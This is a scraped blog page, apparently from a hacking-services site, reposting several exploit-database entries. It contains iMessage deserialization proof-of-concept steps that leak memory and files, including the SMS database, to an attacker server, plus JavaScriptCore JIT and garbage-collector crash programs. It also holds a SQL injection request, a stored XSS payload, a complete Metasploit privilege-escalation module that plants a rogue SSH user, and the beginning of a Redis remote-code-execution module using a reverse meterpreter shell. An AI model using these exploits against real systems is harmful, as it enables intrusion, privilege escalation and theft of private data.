The class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled. This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called. This presents two problems. First, it could potentially allow undesired access to local files if the code deserializing the buffer ever shares it (this is more likely to cause problems in components that use serialized objects to communicate locally than in iMessage). Second, it allows an NSData object to be created with a length that is different than the length of its byte array. This violates a very basic property that should always be true of NSData objects. This can allow out of bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.
To reproduce the issue with the files in filebacked.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Please note that the attached repro case is a simple example to demonstrate the reach-ability of the class in Springboard. The actual consequences of the bug are likely more serious. This PoC only works on devices with iOS 12 or later.
I've written up a PoC of this issue leaking memory from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in filebackedleak.zip to send a message to a target device, using the instructions in the issue above. Leaked bytes of memory from Springboard in the target device will be displayed in the output of myserver.py.
A quick summary of how this PoC works:
1) iMessage attempts to decode the object in the file obj to display the message notification
2) A _NSDataFileBackedFuture instance is decoded, with a fileURL of http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data and a long length.
3) An ACZeroingString instance is decoded, using the previous _NSDataFileBackedFuture as its bytes. When the bytes are accessed, they will be fetched from the above URL. The _NSDataFileBackedFuture class attempts to prevent remote URLs from being fetched by checking that the path of the URL exists on the system, but it does not check the scheme, so a remote URL can be fetched so long as its path component is a path that exists on the filesystem
4) The remote server responds with a buffer that contains the URL http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data?val=a. Since the length of the _NSDataFileBackedFuture is long, this will lead to a buffer that contains the URL as well as some unallocated, uninitialized memory
5) Unfortunately, it is not possible to leak the memory by accessing the URL with the leaked memory created in step 4 using another _NSDataFileBackedFuture at this stage, because the NSURL class greatly restricts the characters allowed in a URL, so it is necessary to bypass these checks. It is possible to do this with the INDeferredLocalizedString class, which is a string that can have different values based on localization
6) An INDeferredLocalizedString instance is decoded with one property being a string that is a legal URL, and the other being the string with the invalid characters. There is a cycle in initialization that causes an NSURL instance to be initialized using the valid string, but then the string moves into a state where it will return the invalid characters when the NSURL is used.
7) A _NSDataFileBackedFuture is used to access the URL, and the leaked bytes are send to the server as the URL parameter
I've got this issue to read files from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in messageleak.zip to send a message to a target device, using the instructions in the issue above. There are two possible objects to send the device:
obj_db: sends back the file in an escaped format that omits nulls. Good for leaking the SMS database
obj_image: sends back the file in a url encoded format. Good for leaking binary files like images
The file contents will be output on the commandline of myserver.py. There are some length limits in the server file that can be removed to see more data. The server will also output a file named 'buf'. Processing this file with uni.py (requires python3) will output the file. This only works with the the obj_image object.
This PoC works similarly to the one above, but it encodes the string by using the formatting options in INDeferredLocalizedString.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47194.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863593585
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
There is a memory corruption vulnerability when decoding an object of class NSKnownKeysDictionary1. This class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary. However, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked. The NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by 8 during this allocation without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length.
It is not possible to control the copied values in this bug, because getObjects:range would then be called with a very large range and throw an exception. However, if the decoded values array is null, getObjects:range will do nothing, and then the code will go through a loop where it copies and retains entries from the values array into the buffer allocated based on the length member, going well past the end of both allocations.
This issue would likely be fairly difficult to exploit due to the uncontrolled nature of these copies.
To reproduce this issue in iMessage with knownkeydict:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47193.zip
When deserializing a class with initWithCoder, subclasses of that class can also be deserialized so long as they do not override initWithCoder and implement all methods that require a concrete implementation.
_PFArray is such a subclass of NSArray. When a _PFArray is deserialized, it is deserialized with [NSArray initWithCoder:], which eventually calls [_PFArray initWithObjects:count:]. This method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them.
This issue can be reached remotely via iMessage and crash Springboard with no user interaction.
To reproduce the issue with the files in pfarray.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47192.zip
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
function v2(trigger) {
// Force JIT compilation.
for (let v7 = 0; v7 < 1000000; v7++) { }
if (!trigger) {
// Will synthesize .length, .callee, and Symbol.iterator.
// See ScopedArguments::overrideThings [1]
arguments.length = 1;
}
for (let v11 = 0; v11 < 10; v11++) {
// The for-of loop (really the inlined array iterator) will fetch the
// .length property after a StructureCheck. However, the property fetch
// will be hoisted in front of the outer loop by LICM but the
// StructureCheck won't. Then, in the final invocation it will crash
// because .length hasn't been synthezised yet (and thus the butterfly
// is nullptr).
for (const v14 of arguments) {
const v18 = {a:1337};
// The with statement here probably prevents escape analysis /
// object allocation elimination from moving v18 into the stack,
// thus forcing DFG to actually allocate v18. Then, LICM sees a
// write to structure IDs (from the object allocation) and thus
// cannot hoist the structure check (reading a structure ID) in
// front of the loop.
with (v18) { }
}
}
}
for (let v23 = 0; v23 < 100; v23++) {
v2(false);
}
print("Triggering crash");
v2(true);
Here is what appears to be happening:
When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability):
Block #8 (Before outer loop)
...
Block #10 (bc#180): (Outer loop)
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
Block #17 (bc#487): (Inner loop body)
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following:
Block #8 (Before outer loop)
...
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
Block #10 (bc#180): (Outer loop)
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
Block #17 (bc#487): (Inner loop body)
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr.
To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization.
I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.
While fuzzing JSC, I encountered the following JS program which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
// Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10
function fullGC() {
for (var i = 0; i < 10; i++) {
new Float64Array(0x1000000);
}
}
function v62() {
function v141() {
try {
const v146 = v141();
} catch(v147) {
const v154 = Object();
function v155(v156,v157,v158) {
try {
// This typed array gets collected
// but is still referenced from the
// value profile of TypedArray.values
const v167 = new Uint32Array();
const v171 = v167.values();
} catch(v177) {
}
}
const v181 = v155();
}
}
v141();
function edenGC() {
for (let v194 = 0; v194 < 100; v194++) {
const v204 = new Float64Array(0x10000);
}
}
const v205 = edenGC();
}
for (let i = 0; i < 6; i++) {
const v209 = v62();
}
fullGC();
If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable.
Running this sample will crash JSC in debug builds with an assertion like this:
ASSERTION FAILED: structureIndex < m_capacity
Source/JavaScriptCore/runtime/StructureIDTable.h(175) : JSC::Structure *JSC::StructureIDTable::get(JSC::StructureID)
1 0x101aadcf9 WTFCrash
2 0x101aadd19 WTFCrashWithSecurityImplication
3 0x10000cb18 JSC::StructureIDTable::get(unsigned int)
4 0x10000ca23 JSC::VM::getStructure(unsigned int)
5 0x10000c7cf JSC::JSCell::structure(JSC::VM&) const
6 0x10001887b JSC::JSCell::structure() const
7 0x10072fc05 JSC::speculationFromCell(JSC::JSCell*)
8 0x10072fd9f JSC::speculationFromValue(JSC::JSValue)
9 0x1006963dc JSC::ValueProfileBase<1u>::computeUpdatedPrediction(JSC::ConcurrentJSLocker const&)
...
The crash is due to a JSValue pointing to a previously freed chunk which will have its JSCell header overwritten. As such, it then crashes when accessing the structure table out-of-bounds with the clobbered structure ID.
The JSValue that is being accessed is part of a ValueProfile: a data structure attached to bytecode operations which keeps track of input types that have been observed for its operation. During execution in the interpreter or baseline JIT, input types for operations will be stored in their associated ValueProfile as can e.g. be seen in the implementation of the low-level interpreter (LLInt) [1]. This is a fundamental mechanism of current JS engines allowing optimizing JIT compilers (like the DFG and FTL) to speculate about types of variables in the compiled program by inspecting previously observed types collected in these ValueProfiles.
A ValueProfile is implemented by the ValueProfileBase C++ struct:
struct ValueProfileBase {
...
int m_bytecodeOffset; // -1 for prologue
unsigned m_numberOfSamplesInPrediction { 0 };
SpeculatedType m_prediction { SpecNone };
EncodedJSValue m_buckets[totalNumberOfBuckets];
};
Here, m_buckets will store the raw JSValues that have been observed during execution. m_prediction in turn will contain the current type prediction [2] for the associated value, which is what the JIT compilers ultimately rely on. The type prediction is regularly computed from the observed values in computeUpdatedPrediction [3].
This raises the question how the JSValues in m_buckets are kept alive during GC, as they are not stored in a MarkedArgumentBuffer [4] or similar (which automatically inform the GC of the objects and thus keep them alive). The answer is that they are in fact not kept alive during GC by the ValueProfiles themselves. Instead, computeUpdatedPrediction [3] is invoked from finalizeUnconditionally [5] at the end of the GC marking phase and will clear the m_buckets array before the pointers might become dangling. Basically, it works like this:
* Observed JSValues are simply stored into ValueProfiles at runtime by the interpreter or baseline JIT without informing the GC about these references
* Eventually, GC kicks in and starts its marking phase in which it visits all reachable objects and marks them as alive
* Afterwards, before sweeping, the GC invokes various callbacks (called "unconditionalFinalizers") [6] on certain objects (e.g. CodeBlocks)
* The CodeBlock finalizers update all value profiles, which in turn causes their current speculated type to be merged with the runtime values that were observed since the last update
* Afterwards, all entries in the m_buckets array of the ValueProfiles are cleared to zero [7]. As such, the ValueProfiles no longer store any pointers to JSObjects
* Finally, the sweeping phase runs and frees all JSCells that have not been marked
For some time now, JSC has used lightweight GC cycles called "eden" collections. These will keep mark bits from previous eden collections and thus only scan newly allocated objects, not the entire object graph. As such they are quicker than a "full" GC, but might potentially leave unused ("garbage") objects alive which will only be collected during the next full collection. See also [8] for an in depth explanation of JSC's current garbage collector.
As described above, the function finalizeMarkedUnconditionalFinalizers [6] is responsible for invoking some callback on objects that have been marked (and thus are alive) after the marking phase. However, during eden collections this function only iterates over JSCells that have been marked in the *current* eden collection, not any of the previous ones *. As such, it is possible that a CodeBlock has been marked in a previous eden collection (and is thus still alive), but hasn't been marked in the current one and will thus not be "unconditionally finalized". In that case, its ValueProfile will not be cleared and will still potentially contain pointers to various JSObjects, which, however, aren't protected from GC and thus might be freed by it.
This is what happens in the program above: the TypedArray.values function is a JS builtin [9] and will thus be JIT compiled. At the time of the crash it will be baseline JIT compiled and thus store the newly allocated Uint32Array into one of its ValueProfile [10]. Directly afterwards, the compiled code raises another stack overflow exception [11]. As such, the Uint32Array is not used any further and no more references to it are taken which could protect it from GC. As such, the array will be collected during the next (eden) GC round. However, the CodeBlock for TypedArray.values was already marked in a previous eden collection and will not be finalized, thus leaving the pointer to the freed TypedArray dangling in the ValueProfile. During the next full GC, the CodeBlock is again "unconditionally finalized" and will then inspects its m_buckets, thus crashing when using the freed JSValue.
The infinite recursion and following stack overflow exceptions in this sample might be necessary to force a situation in which the newly allocated Uint32Array is only stored into a profiling slot and nowhere else. But maybe they are also simply required to cause the right sequence of GC invocations.
# Exploit Title: WebIncorp ERP - SQL injection
# Date: 1.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://www.webincorp.com/products/erp-software-qatar
# Version: Every version
# CWE : CWE-89
Vulnerable parameter: prod_id (product_detail.php)
[GET Request]
GET https://host/product_detail.php?prod_id=x' HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US
Cache-Control: max-age=0
Cookie: PHPSESSID=t57dv7rdsvut33jroled9v6435
Host: host
Referer: https://host/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
# Exploit Title:Web Studio Ultimate Loan Manager V2.0 - Persistent Cross Site Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: http://www.webstudio.co.zw/
# Software Link: https://codecanyon.net/item/ultimate-loan-manager/19891884
# Version: V2.0
# Category: Webapps
# Software Description : Ultimate Loan Manager is an online loam management system that allows lending businesses to manage their borrowers, loans, repayments, and collections with ease while being affordable at the same time.
# CVE : CVE-2019-14427
==================================================================
#Description:XSS exists in WEB STUDIO Ultimate Loan Manager 2.0 by adding a branch under the Branches button that sets the notes parameter with crafted JavaScript code.
POST /branch/store HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/branch/create
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: XSRF-TOKEN=eyJpdiI6Imk3Y3llMlBkM0xOUHJNQ1NqYjg2dGc9PSIsInZhbHVlIjoiTmkxMlBlYnVTaHJYR0NZWWxNNEFrSE9PQ3UyUlA5OUg0eU1XUGoxWGR1UUJQbWk2KzRQVVhRTUhEMzBTWkVDMCIsIm1hYyI6Ijk0MGQxN2VhNGQzZDBhZjI4YTg4M2VkODE0NTVhNDFjNmM4MDEwM2U1NGQyOTM3N2FhZDZjMjdjNTUxYjE5ZDMifQ%3D%3D; laravel_session=U1GDgNLtFJQDdPa2jK8rb1vjWE6mkZ6XwrH0PxE7
Connection: close
Upgrade-Insecure-Requests: 1
_token=P31Y1Y1VoVj1yaN3lpSQfssubgRXYszMUpilyYSu&name=test¬es=%3cscript%3ealert(1)%3c%2fscript%3e
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Exploit Title: extenua SilverSHielD 6.x local priviledge escalation
# Google Dork: na
# Date: 31 Jul 2019
# Exploit Author: Ian Bredemeyer
# Vendor Homepage: https://www.extenua.com
# Software Link: https://www.extenua.com/silvershield
# Version: 6.x
# Tested on: Windows7 x64, Windows7 x86, Windows Server 2012 x64, Windows10 x64, Windows Server 2016 x64
# CVE: CVE-2019-13069
# More Info: https://www.fobz.net/adv/ag47ex/info.html
require 'sqlite3'
require 'net/ssh'
require 'net/ssh/command_stream'
require 'tempfile'
require 'securerandom'
require 'digest'
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Post::File
include Msf::Exploit::Remote::SSH
include Msf::Post::Windows::Services
include Msf::Post::Windows::FileInfo
def initialize(info={})
super( update_info(info,
'Name' => 'Extenua SilverSHielD 6.x local privilege escalation',
'Description' => %q{
Extenua SilverShield 6.x fails to secure its ProgramData subfolder.
This module exploits this by injecting a new user into the database and then
using that user to login the SSH service and obtain SYSTEM.
This results in to FULL SYSTEM COMPROMISE.
At time of discolsure, no fix has been issued by vendor.
},
'Author' => [
'Ian Bredemeyer',
],
'Platform' => [ 'win','unix' ], # 'unix' is needed, otherwise the Payload is flagged as incompatible
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Universal', {} ],
],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2019-13069' ],
[ 'URL', 'https://www.fobz.net/adv/ag47ex/info.html' ],
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13069' ]
],
'DisclosureDate'=> "Jul 31 2019",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
))
register_options([
OptPort.new('PF_PORT', [ true, 'Local port to PortFwd to victim', 20022 ]),
OptString.new('SS_IP', [ false, 'IP address SilverShield is listening on at the victim. Leave blank to detect.', '' ]),
OptPort.new('SS_PORT', [ false, 'Port SilverShield is listening on at the victim. Leave at 0 to detect.', 0 ]),
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 15])
])
end
# Grabbed this bit from another exploit I was pulling apart... Need to trick the SSH session a bit
module ItsAShell
def _check_shell(*args)
true
end
end
# helper methods that normally come from Tcp
def rhost
return '127.0.0.1'
end
def rport
datastore['PF_PORT']
end
# Does a basic check of SilverShield... Does not fail if there is a problem, but will return false
def do_check_internal()
looks_ok = true # lets assume everything is OK...
# Try to get the path of the SilverShield service...
ss_serviceinfo = service_info("SilverShield")
ss_servicepath = ss_serviceinfo[:path]
if (ss_servicepath == '')
print_warning("Vulnerable Silvershield service is likely NOT running on the target system")
looks_ok = false
else
print_good("Silvershield service found: " + ss_servicepath)
end
# Try to read the version of Silvershield from the resigstry of the victim...
ss_version = ""
begin
ss_version = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\\extenua\\SilverShield', KEY_READ).query_value("Version").data
rescue ::Exception => e
print_warning "Cannot find SilverShield version in registry. Victim may not have vulnerable SilverShield installed"
looks_ok = false
end
if ss_version != ""
print_good("Silvershield version from registry: " + ss_version)
if ss_version[0..1] != "6." # If not version "6." something ? then this will not work...
print_warning("This version is not likely vulnerable to this module")
looks_ok = false
end
end
return looks_ok
end
# Attempts a single SSH login to the victim via the local port forwarded to fictim. Returns valid connection if OK
def do_login()
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
opt_hash = {
:auth_methods => ['password'],
:port => rport,
:use_agent => false,
:config => false,
:proxy => factory,
:password => @@the_password,
:non_interactive => true,
:verify_host_key => :never
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, 'haxor4', opt_hash)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket)
ssh_socket = nil
return conn
else
return false
end
end
# Attempts several times to connect through session back to SilverShield as haxor then open resulting shell as a new session.
def exploit_sub
x = 0
while x < 5 do
x = x + 1
print_status "SSH login attempt " + x.to_s + ". May take a moment..."
conn = do_login()
if conn
print_good "Successful login. Passing to handler..."
handler(conn.lsock)
return true
end
end
return false
end
def check()
if do_check_internal
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
# The guts of it...
def exploit
# Some basic setup...
payload_instance.extend(ItsAShell)
factory = ssh_socket_factory
# Do a quick check... well, sort of, just shows info. We won't stop, just report to user...
do_check_internal()
# We will generate a NEW password and salt. Then get the relevant hash to inject...
@@the_password = SecureRandom.hex
@@the_password_salt = SecureRandom.hex[0..7]
@@the_password_hash = Digest::MD5.hexdigest @@the_password_salt + @@the_password
vprint_status("generated- user:haxor4 password:" + @@the_password + " salt:" + @@the_password_salt + " => hash(md5):" + @@the_password_hash)
# Get a tempfile on the local system. Garbage collection will automaticlly kill it off later...
# This is a temp location where we will put the sqlite database so we can work on it on the local machine...
tfilehandle = Tempfile.new('ss.db.')
tfilehandle.close
wfile = tfilehandle.path
#Try to get the ProgramData path from the victim, this is where the SQLite databasae is held...
progdata = session.fs.file.expand_path("%ProgramData%") # client.sys.config.getenv('PROGRAMDATA')
print_status 'Remote %ProgramData% = ' + progdata
# Lets check the file exists, then download from the victim to the local file system...
filecheck = progdata + '\SilverShield\SilverShield.config.sqlite'
fsrc = filecheck
fdes = wfile
print_status 'Try download: ' + fsrc + ' to: ' + fdes
begin
::Timeout.timeout(5) do
session.fs.file.download_file(fdes, fsrc)
end
rescue ::Exception => e
print_error "Cannot download #{fsrc} to #{fdes} #{e.class} : #{e.message}"
print_error "Does victim even have vulnerable SilverShield installed ?"
fail_with(Failure::Unknown, "Fail download")
end
# Try to connect with sqlite locally...
vprint_status 'Trying to open database ' + wfile
db = SQLite3::Database.open wfile
# Remove haxor4 if its already there, just incase by pure chance a user with that name already exists...
vprint_status 'remove user "haxor4" if its already in there...'
results = db.execute "delete from USERS where vcusername='haxor4'"
answer = ""
results.each { |row| answer = answer + row.join(',') }
# Insert the haxor user... we will use this later to connect back in as SYSTEM
vprint_status 'insert user "haxor4" with password "' + @@the_password + '" into database'
results = db.execute "INSERT INTO USERS (CUSERID, VCUSERNAME, CSALT,CPASSWORD, VCHOMEDIR, BGETFILE, BPUTFILE, BDELFILE, BMODFILE, BRENFILE, BLISTDIR, BMAKEDIR, BDELDIR, BRENDIR, IAUTHTYPES, BAUTHALL, BALLOWSSH, BALLOWSFTP, BALLOWFWD, BALLOWDAV, IACCOUNTSTATUS, BAUTODISABLE, DTAUTODISABLE, BWINPASSWD, BISADMIN)VALUES(\"{11112222-3333-4444-5555666677778888}\",\"haxor4\",\"" + @@the_password_salt + "\",\"" + @@the_password_hash + "\",\"c:\\\",1,1,1,1,1,1,1,1,1,20,0,1,0,0,0,0,0,-700000.0, 0, 1);"
answer = ""
results.each { |row| answer = answer + row.join(',') }
print_good 'user inserted OK'
# Dump out local port that SilverShield has been configured to listen on at the victim machine...
results = db.execute "select IPORT from maincfg"
answer = ""
results.each { |row| answer = answer + row.join(',') }
ss_port = answer
print_status "SilverShield config shows listening on port: " + ss_port
if (datastore['SS_PORT'] != 0)
ss_port = datastore['SS_PORT'].to_s
print_status "SS_PORT setting forcing port to " + ss_port
end
if (ss_port == '')
ss_port = '22'
end
# Dump out local IP that SilverShield has been configured to listen on at the victim machine...
results = db.execute "select CBINDIP from maincfg"
answer = ""
results.each { |row| answer = answer + row.join(',') }
ss_ip = answer
print_status "SilverShield config shows listening on local IP: " + ss_ip
if (datastore['SS_IP'] != '')
ss_ip = datastore['SS_IP']
print_status "SS_IP setting forcing IP to " + ss_ip
end
# If the override AND the detection have come up with nothing, then use the default 127.0.0.1
if (ss_ip == '')
ss_ip = '127.0.0.1'
end
# Close the database. Keep it neat
db.close
# Now lets upload this file back to the victim...due to bad folder permissions, we can sneak our bad config back in. Yay
fdes = filecheck
fsrc = wfile
print_status 'Sending modded file back to victim'
begin
::Timeout.timeout(5) do
session.fs.file.upload_file(fdes, fsrc)
end
rescue ::Exception => e
print_error "Cannot upload #{fsrc} to #{fdes} #{e.class} : #{e.message}"
print_error "Perhaps this server is not vulnerable or has some other mitigation."
fail_with(Failure::Unknown, "Fail upload")
end
sleep 4 # wait a few seconds... this gives the SilverShield service some time to see the settings have changed.
# Delete the port if its already pointing somewhwere... This a bit ugly and may generate an error, but I don't care.
client.run_cmd("portfwd delete -l " + datastore['PF_PORT'].to_s)
# Forward a local port through to the ssh port on the victim.
client.run_cmd("portfwd add -l " + datastore['PF_PORT'].to_s + " -p " + ss_port + " -r " + ss_ip)
# Now do ssh work and hand off the session to the handler...
exploit_sub
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Unauthenticated Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => 'Nov 13 2018',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ SERVICE_RESOURCE_LOSS],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
},
))
register_options(
[
Opt::RPORT(6379),
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
]
)
register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end
#
